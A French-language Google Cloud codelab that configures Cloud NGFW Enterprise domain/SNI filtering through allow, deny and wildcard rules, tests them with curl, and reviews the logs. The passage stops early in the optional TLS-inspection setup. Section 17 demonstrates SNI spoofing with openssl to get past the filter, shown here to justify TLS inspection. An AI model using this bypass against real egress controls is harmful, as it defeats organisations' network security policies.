1. Introduction
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall est un service de pare-feu entièrement distribué offrant des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.
Cloud NGFW présente les avantages suivants :
- Service de pare-feu distribué : Cloud NGFW fournit une application basée sur l'hôte entièrement distribuée avec état pour chaque charge de travail afin d'offrir une architecture de sécurité zéro confiance.
- Configuration et déploiement simplifiés : Cloud NGFW implémente des stratégies de réseau et de pare-feu hiérarchiques pouvant être associées à un nœud de la hiérarchie des ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
- Contrôle précis et microsegmentation : la combinaison des stratégies de pare-feu et des tags gérés par IAM (Identity and Access Management) offre un contrôle précis pour le trafic Nord-Sud et le trafic Est-Ouest sur une seule VM dans les réseaux de cloud privé virtuel (VPC) et les organisations.
Cloud NGFW est disponible dans les niveaux suivants :
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Les objets de nom de domaine complet Cloud NGFW Standard peuvent traduire les noms de domaine complets en adresses IP, puis appliquer la règle à la liste d'adresses IP. Toutefois, Cloud NGFW Enterprise avec filtrage de domaine peut aller plus loin dans l'inspection.
Cloud NGFW Enterprise
Cloud NGFW Enterprise propose actuellement un service de prévention des intrusions (IPS, Intrusion Prevention Service), une fonctionnalité de couche 7, à la structure distribuée Google Cloud Firewall.
Cloud NGFW Enterprise propose désormais le filtrage de domaine, qui permet de contrôler le trafic http(s) à l'aide de noms de domaine au lieu d'adresses IP.
Pour le filtrage du trafic HTTPS par domaine/SNI, le Client Hello est une extension qui contient l'indication du nom du serveur (SNI) dans le cadre du handshake TLS. L'indication du nom du serveur (SNI) est une extension du protocole TLS qui envoie le nom d'hôte qu'un client tente d'atteindre. C'est par rapport à cette valeur que le filtrage sera validé.
Avec le trafic HTTP, il n'y a pas de SNI. Seul le champ d'en-tête d'hôte HTTP sera utilisé pour appliquer le filtrage.
Le filtrage de domaine est configuré avec un UrlFilteringProfile, qui est un nouveau type de profil de sécurité. UrlFilteringProfile contient une liste de UrlFilters, qui contiennent chacun une action, une liste de chaînes de correspondance et une priorité unique. Cette configuration utilise "Url" pour la dénomination au lieu de "Domain" afin de faciliter la transition vers le filtrage complet des URL lorsqu'il sera disponible, au lieu de créer un nouveau type de profil de sécurité à l'avenir.
Les UrlFilteringProfiles incluent un UrlFilter implicite de priorité la plus faible (2147483647) qui refuse toutes les connexions ne correspondant pas à un UrlFilter de priorité plus élevée.
Objectifs de l'atelier
Cet atelier de programmation nécessite un seul projet et la possibilité de créer un réseau VPC, ainsi que de gérer un certain nombre de ressources réseau et de sécurité. Il vous montrera comment Cloud NGFW Enterprise peut filtrer les domaines et le SNI, avec des instructions facultatives pour l'inspection TLS.
Nous allons tester plusieurs scénarios de règles d'autorisation et de refus, y compris l'utilisation de caractères génériques.
L'état final de la base de règles de la stratégie de pare-feu réseau ressemblera au tableau ci-dessous :
Priorité | Sens | Cible | Source | Destination | Action | Type |
200 | Entrée | TOUT | IAP | Tous | Autoriser | Essentials |
300 | Sortie | TOUT | Tous | 0.0.0.0/0:80,443 | Inspection L7 | Enterprise |
Points abordés
- Découvrez comment créer une stratégie de pare-feu réseau.
- Découvrez comment configurer et utiliser le filtrage de domaine/SNI Cloud NGFW Enterprise.
- Comment configurer la protection contre les menaces en plus du filtrage de domaine/SNI.
- Comment examiner les journaux
- [Facultatif] Comment activer l'inspection TLS
Prérequis
- Projet Google Cloud.
- Connaissances en matière de déploiement d'instances et de configuration de composants réseau.
- Connaissances sur la configuration du pare-feu de la stratégie réseau.
2. Avant de commencer
Créer/Mettre à jour des variables
Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.
Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets selon vos besoins :
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. Activer les API
Si vous ne l'avez pas déjà fait, activez les API :
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Création de points de terminaison Cloud NGFW Enterprise
La création du point de terminaison Cloud NGFW Enterprise prenant environ 20 minutes, il sera créé en premier. La configuration de base peut être effectuée en parallèle pendant la création du point de terminaison.
Le filtrage des domaines/SNI nécessitera un point de terminaison de pare-feu, même si vous n'avez pas l'intention d'utiliser des profils de prévention des menaces.
Créez le profil de sécurité et le groupe de profils de sécurité :
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
La création prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.
5. Configuration de base
Réseau et sous-réseau VPC
Réseau et sous-réseau VPC
Créez le réseau et le sous-réseau VPC :
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Créez l'adresse IP externe, le routeur Cloud Router et la passerelle Cloud NAT :
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Création d'une instance
Créez l'instance cliente :
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Stratégie de pare-feu de réseau au niveau mondial
Créez une stratégie de pare-feu de réseau au niveau mondial :
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Créez les règles Cloud Firewall Essentials requises pour autoriser le trafic provenant des plages Identity-Aware Proxy :
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Associez la stratégie de pare-feu cloud au réseau VPC :
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Créer des configurations de filtrage de domaine/SNI pour l'autorisation
Nous allons ensuite configurer les domaines à autoriser et à refuser. Dans Cloud Shell, créez le fichier YAML :
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Créez un profil de sécurité en important la configuration YAML :
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Résultat attendu :
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
Créez un groupe de profils de sécurité :
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Vérifiez que le groupe de profils de sécurité contient le profil de sécurité :
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Résultat attendu :
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Association de point de terminaison de pare-feu cloud
Définissez les variables d'environnement si vous ne l'avez pas encore fait et/ou si vous préférez l'approche par script.
Vérifiez que le point de terminaison Cloud Firewall a bien été créé. Ne passez à l'étape suivante que lorsque l'état est ACTIF (l'état attendu lors de la création est EN COURS DE CRÉATION) :
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Associez le point de terminaison Cloud Firewall au réseau VPC :
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
L'association prend environ 10 minutes. Ne passez à la section suivante que lorsque l'état est ACTIF (pendant la création, l'état attendu est CRÉATION EN COURS) :
gcloud network-security firewall-endpoint-associations list
Résultat attendu lorsque complete est défini sur "true" :
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Créer des règles de pare-feu pour le filtrage de domaine/SNI
Google dispose de règles de pare-feu implicites d'autorisation du trafic sortant. Si nous souhaitons appliquer un filtrage de domaine/SNI, nous devons définir explicitement une règle. La règle suivante enverra le trafic sortant vers les ports de destination 80 et 443 pour inspection par notre profil de sécurité.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Valider les règles d'autorisation
Établissez une connexion SSH à la VM via IAP :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envoyez les exemples de requêtes à la destination autorisée :
curl https://www.example.com --max-time 2
Notez que cette requête a abouti grâce à la règle de pare-feu "allow" (autoriser).
Essayons avec quelques domaines qui ne figurent pas dans la liste.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Résultat attendu :
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
Pourquoi "example.com " n'a-t-il pas fonctionné ? En effet, la configuration du profil de sécurité contenait explicitement "www.example.com". Si vous souhaitez autoriser tous les sous-domaines d'example.com, vous pouvez utiliser un caractère générique.
Les autres demandes ont également échoué. Cela est dû au fait que le groupe de profils de sécurité comporte un refus par défaut avec la priorité la plus basse et que seul www.example.com est autorisé.
Quittez la VM pour revenir à Cloud Shell.
exit
10. Mettre à jour la configuration du filtrage de domaine/SNI pour le caractère générique
Examinons le fichier YAML et apportons-y quelques modifications supplémentaires pour présenter d'autres fonctionnalités, y compris la prise en charge des caractères génériques. Nous allons créer une règle autorisant "*.com", ce qui équivaut à tout domaine se terminant par ".com". Remarque : Cela remplacera complètement le contenu du fichier YAML d'origine créé dans la section précédente.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Mettez à jour le profil de sécurité avec la nouvelle configuration YAML :
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Validez la configuration du profil de sécurité :
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Résultat attendu :
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Valider la règle de caractère générique
Vérifions si la règle générique fonctionne. Établissez une connexion SSH à la VM via IAP :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envoyez les exemples de requêtes aux destinations autorisées :
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Toutes ces demandes auraient dû aboutir. N'hésitez pas à essayer un autre domaine .com valide. Si l'opération échoue toujours, assurez-vous d'avoir patienté au moins 10 minutes, puis réessayez.
Nous pouvons même essayer plusieurs sous-domaines de ".com", et tous devraient fonctionner.
curl https://mail.google.com --max-time 2
Quittez la VM pour revenir à Cloud Shell.
exit
12. Mettre à jour la configuration du filtrage de domaine/SNI pour le refus
Nous avons montré qu'il existe une règle DENY implicite pour * à la fin du profil de sécurité et créé des domaines "autorisés" en utilisant filteringAction comme "ALLOW". Voyons comment utiliser filteringAction avec la valeur "DENY". Les actions DENY peuvent être utiles lorsqu'elles précèdent une action ALLOW explicite. Voici un exemple.
Nous allons mettre à jour notre fichier yaml existant pour autoriser *.com, mais refuser spécifiquement certains domaines .com.
Nous allons modifier le fichier YAML pour REFUSER *.github.com et *.google.com tout en autorisant explicitement tous les autres *.com et en conservant le refus implicite par défaut. Notez que la priorité des exceptions doit avoir un nombre de priorité inférieur : (1 000 vs 2 000) et (1 500 vs 2 000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Mettez à jour le profil de sécurité avec la nouvelle configuration YAML :
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Validez la configuration du profil de sécurité :
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Valider les règles de refus
Vérifions si les règles DENY fonctionnent. Établissez une connexion SSH à la VM via IAP :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envoyez les exemples de requêtes aux destinations refusées :
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Ces deux demandes auraient dû échouer, car elles correspondaient à la règle "DENY" (REFUSER).
Envoyez des requêtes supplémentaires :
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Pourquoi ces méthodes ont-elles fonctionné ? Ces règles ont fonctionné, car les règles DENY concernaient ".github.com" et ".google.com". Les requêtes adressées à github.com et google.com n'incluent pas ce caractère générique, car il fait référence aux sous-domaines de github.com et google.com.
Les autres requêtes adressées aux domaines .com devraient aboutir, avec un refus par défaut pour les autres domaines. (.org, .net, .me, etc.)
Quittez la VM pour revenir à Cloud Shell.
exit
14. Mettre à jour la configuration du filtrage de domaine/SNI pour l'autorisation par défaut
Et si vous souhaitiez avoir un comportement d'AUTORISATION par défaut avec des règles de REFUS explicites ? Nous allons mettre à jour le fichier YAML pour illustrer ce comportement. Nous allons configurer des règles DENY pour tous les domaines .com ou .net et autoriser tous les autres.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Mettez à jour le profil de sécurité avec la nouvelle configuration YAML :
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Validez la configuration du profil de sécurité :
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Résultat attendu :
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Notez que le refus implicite pour * existe toujours. Cette règle devient inutile, car nous avons configuré une règle par défaut de priorité plus élevée (valeur inférieure) dont le paramètre "filteringAction" est défini sur "ALLOW" (AUTORISER).
(2 000 000 000 contre 2 147 483 647)
15. Valider les règles de refus avec l'autorisation par défaut
Vérifions si les règles REFUSER fonctionnent avec la règle AUTORISER par défaut. Établissez une connexion SSH à la VM via IAP :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envoyez les exemples de requêtes aux destinations refusées :
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Ces deux demandes auraient dû échouer, car elles correspondaient à la règle "DENY" (REFUSER). Toute requête .com ou .net doit échouer.
Envoyez des requêtes qui devraient aboutir (n'importe quel autre domaine de premier niveau) :
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Ces requêtes devraient aboutir, car elles correspondent à la règle d'autorisation "par défaut" de priorité 2000000000.
16. Explorer les journaux pour le filtrage de domaine/SNI
Voyons comment vérifier si le trafic est inspecté par la règle de pare-feu pour le filtrage de domaine/SNI.
Dans la console Google Cloud, accédez à l'explorateur de journaux et saisissez le filtre suivant :
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
Le filtre ci-dessus examine la stratégie de pare-feu que nous avons créée et nommée $prefix-fwpolicy, ainsi que la priorité de règle 300, qui est associée au groupe de profils de sécurité avec la configuration de filtrage de domaine/SNI.
Comme vous pouvez le voir, la "disposition" indique "INTERCEPTED" (INTERCEPTÉ), ce qui signifie que le trafic a été intercepté et envoyé à notre moteur de pare-feu pour traitement.
Pour afficher les journaux de filtrage de domaine/SNI, vous pouvez saisir le filtre suivant dans l'explorateur de journaux (vous devez remplacer $project_id par la valeur de votre project_id) :
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"
Si nous développons certains détails, nous pouvons voir les informations suivantes dans un exemple (anonymisé) :
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
L'exemple de journal ci-dessus montre une requête adressée à wikipedia.org qui a été AUTORISÉE, car elle correspondait à la règle de priorité 2000000000 qui était "*" avec l'action de filtre ALLOW. D'autres détails sont disponibles, y compris le SNI.
Voici un exemple de journal DENY :
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Comme nous pouvons le voir ci-dessus, il s'agit d'une requête enregistrée lorsqu'une requête a été refusée. La demande concernait www.php.net, qui correspondait à la règle 1500 du profil de sécurité. De même, il a été comparé au SNI pour prendre la décision.
17. Valider les règles en cas d'usurpation SNI
Comme indiqué dans l'introduction, NGFW Enterprise peut examiner l'en-tête d'hôte HTTP pour le trafic HTTP ou le SNI pour le trafic chiffré TLS. Il est possible pour des personnes de falsifier le SNI. Que se passe-t-il si c'est le cas ?
Validons le comportement. Établissez une connexion SSH à la VM via IAP :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Exécutez la commande openssl suivante pour usurper le SNI :
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Dans l'exemple ci-dessus, les requêtes adressées aux domaines .com et .net devraient être bloquées, tandis que les autres TLD devraient être autorisés. Vous trouverez ci-dessous un exemple de réponse usurpée. La requête est envoyée à www.google.com, qui devrait être bloqué. Toutefois, au lieu d'envoyer un SNI de www.google.com, nous spécifions un SNI de ifconfig.me. Comme la règle vérifie le SNI, elle considère ce domaine comme "autorisé" et le laisse passer. Nous avons réussi à établir une connexion TLS à google.com.
.
Résultat attendu :
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
C'est là que l'inspection TLS peut combler cette lacune.
Fermez la connexion et quittez la VM :
"ctrl" + c exit
18. [Facultatif] Inspection TLS
Configurer les ressources TLS
Cette section est facultative, car le filtrage de domaine/SNI fonctionne sans inspection TLS. Toutefois, vous pouvez souhaiter effectuer une inspection TLS si vous prévoyez d'utiliser la protection contre les menaces ou, à l'avenir, lorsque le filtrage complet des URL sera disponible, de pouvoir créer des règles basées sur des chemins d'accès dans le profil de sécurité.
De plus, l'inspection TLS fournit une couche de vérification supplémentaire, car l'usurpation d'identité SNI est possible.
Créez un pool d'autorités de certification. Cette ressource sera utilisée pour héberger le certificat de l'autorité de certification racine que nous générons pour NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Créez l'autorité de certification racine. Il s'agit du certificat d'autorité de certification qui sera utilisé pour signer des certificats supplémentaires pour les demandes via NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Si le message ci-dessous s'affiche, répondez y :
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Créez un compte de service. Ce compte de service sera utilisé pour demander des certificats pour NGFW Enterprise :
